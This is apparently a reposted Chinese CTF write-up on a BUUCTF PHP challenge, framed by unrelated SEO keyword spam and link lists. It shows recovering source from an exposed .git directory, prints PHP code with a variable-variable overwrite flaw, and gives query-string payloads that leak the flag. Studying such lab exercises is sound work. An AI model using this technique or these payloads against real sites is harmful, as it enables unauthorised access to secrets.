当前位置: 首页 > news >正文

做网站一般几个步骤百度推广代理公司广州

做网站一般几个步骤,百度推广代理公司广州,苏州园科生态建设集团网站,长春老火车站图片打开题目 发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下 http://63f29a80-e08b-43ae-a6d0-8e70fb02ea…

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php
 
include 'flag.php';
 
$yds = "dog";
$is = "cat";
$handsome = 'yds';
 
foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}
 
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
 
echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。 

?yds=flag

覆盖is变量

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

Get或Post传入flag=flag,触发变量覆盖代码

foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到$handsome=$flag

?handsome=flag&flag=handsome

可以得到flag

http://www.yidumall.com/news/30207.html

相关文章:

  • 建设网站平台百度一下就知道百度首页
  • 深圳政府在线成都seo优化公司排名
  • 网站论坛建设步骤淘宝运营培训班学费大概多少
  • 彩票自己开盘做网站seo优化员
  • 中国室内设计师联盟网站网站建设主要推广方式
  • 有口碑的常州网站建设seo外链在线提交工具
  • 百度做公司网站免费网站安全软件大全
  • wordpress 豆瓣fm百度竞价推广账户优化
  • 哪里可以在百度做网站seo人才
  • 手机开发网站教程百度推广页面投放
  • 做奢侈品的网站重庆网站排名优化教程
  • 网页网站原型图占位符怎么做seo搜索引擎招聘
  • php网站和java网站提升关键词排名有哪些方法
  • 算命先生的网站怎么做搜索引擎优化内容包括哪些方面
  • 小程序推广运营公司百度seo网络营销书
  • 专业移动微网站设计win10优化工具下载
  • 大庆做网站的湖南关键词优化首选
  • 网站建设分几步百度上怎么做推广
  • 昆明网站开发seo标题生成器
  • c 教程如何做网站app关键词排名优化
  • 广东智唯网站建设公司百度发视频步骤
  • 台州华燕网业有限公司seo官网
  • WordPress自动文章福州短视频seo获客
  • by最新网页代码大全网站seo视频狼雨seo教程
  • 青岛网站建设案例什么是sem推广
  • 天津做网站优化哪家好海外免费网站推广有哪些
  • 门户网站建设请示每天三分钟新闻天下事
  • 体育视频网站建设如何查询百度搜索关键词排名
  • 个人域名网站合肥网站制作
  • 全屏网站 内页怎么做安卓优化大师旧版本